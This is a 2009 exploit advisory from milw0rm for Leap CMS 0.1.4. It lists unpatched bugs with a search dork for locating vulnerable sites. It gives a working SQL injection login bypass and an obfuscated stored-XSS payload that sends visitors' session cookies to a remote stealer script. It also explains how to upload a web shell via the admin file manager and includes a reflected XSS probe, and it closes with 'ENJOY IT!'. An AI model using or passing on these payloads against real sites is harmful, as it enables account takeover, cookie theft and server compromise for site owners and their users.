Leap CMS 0.1.4 - SQL Injection / Cross-Site Scripting / Arbitrary File Upload



Platform:

PHP

Published:

2009-04-30

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** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
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----------------------------------------------------------------------------------------------
|       	   	    	MULTIPLE REMOTE VULNERABILITIES		             	     |
|--------------------------------------------------------------------------------------------|
|                         	| 	  LEAP CMS 0.1.4       |		 	     |
|  CMS INFORMATION:		 ------------------------------			             |
|										             |
|-->WEB: http://leap.gowondesigns.com/           				             |
|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip            	             |
|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap	     |
|-->CATEGORY: CMS / Lite								     |
|-->DESCRIPTION: Leap is a single file, template independent, open-source,       	     |
|		standards-compliant,extensible content management system for the web...      |
|-->RELEASED: 2009-03-13								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3 and I-Explorer 6						     |
|-->DORK: "Powered by Leap"							             |
|-->CATEGORY: AUTH-BYPASS(SQLi)/COOKIE-STEALER (XSS)/SHELL-UPLOAD/ XSS		             |
|-->AFFECT VERSION: 0.1.4 (maybe <= ?)				 			     |
|-->Discovered Bug date: 2009-04-24							     |
|-->Reported Bug date: 2009-04-24							     |
|-->Fixed bug date: Not fixed								     |
|-->Info patch: Not fixed							             |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
----------------------------------------------------------------------------------------------


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AUTHENTICATION BYPASS (SQLi):

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##############################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-----------
FILE VULN:
-----------


Path --> [HOME_PATH]/leap.php


function checkSession() {

	if($_POST['login']=='Login') { 
	
		$_SESSION['userMail']=$_POST['email']; $_SESSION['passWord']=md5($_POST['pwd']); 
			
		....
	}
	
	$i=@mysql_query("SELECT * FROM ".db('prefix')."users WHERE mail='$_SESSION[userMail]' AND pwd='$_SESSION[passWord]'"); $d=@mysql_fetch_array($i);

		....

---------
EXPLOIT:
---------


Email Address: nothing' or 1=1#

Password: nothing


#############################
/////////////////////////////

COOKIES STEALING VULN (XSS):

/////////////////////////////
#############################


<<<<---------++++++++++++++ Condition: Add comment +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Go to Link --> http://[HOST]/[HOME_PATH]/?article.[ARTICLE_TITLE]

There it can comment the article.


Add a comment with any name/email and message:


<script>document.location=String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,101,120,112,108,111,105,116,45,99,111,111,107,105,101,115,47,119,97,105,116,105,110,103,45,102,111,114,46,112,104,112,63,99,107,61)+document.cookie</script>


PHP Script (Cookies Stealer) --> See: http://www.milw0rm.com/exploits/8453
				      http://www.milw0rm.com/exploits/8471

Note: Exploit fails if real admin click on log-out button.


############################
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SHELL UPLOAD VULNERABILITY:

////////////////////////////
############################


<<<<---------++++++++++++++ Condition: Be superadmin (above) +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Option: Manage Files. Link --> http://[HOST]/[HOME_PATH]/?admin.system.files

upload your shell there.

Then, Go to the link --> http://[HOST]/[HOME_PATH]/shell.php


########################
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XSS (SEARCH POST FORM):

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########################


Search:

"><script>alert(1)</script>


<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


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## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
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##       GREETZ TO: JosS and all SPANISH Hack3Rs community!          ##
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# milw0rm.com [2009-04-30]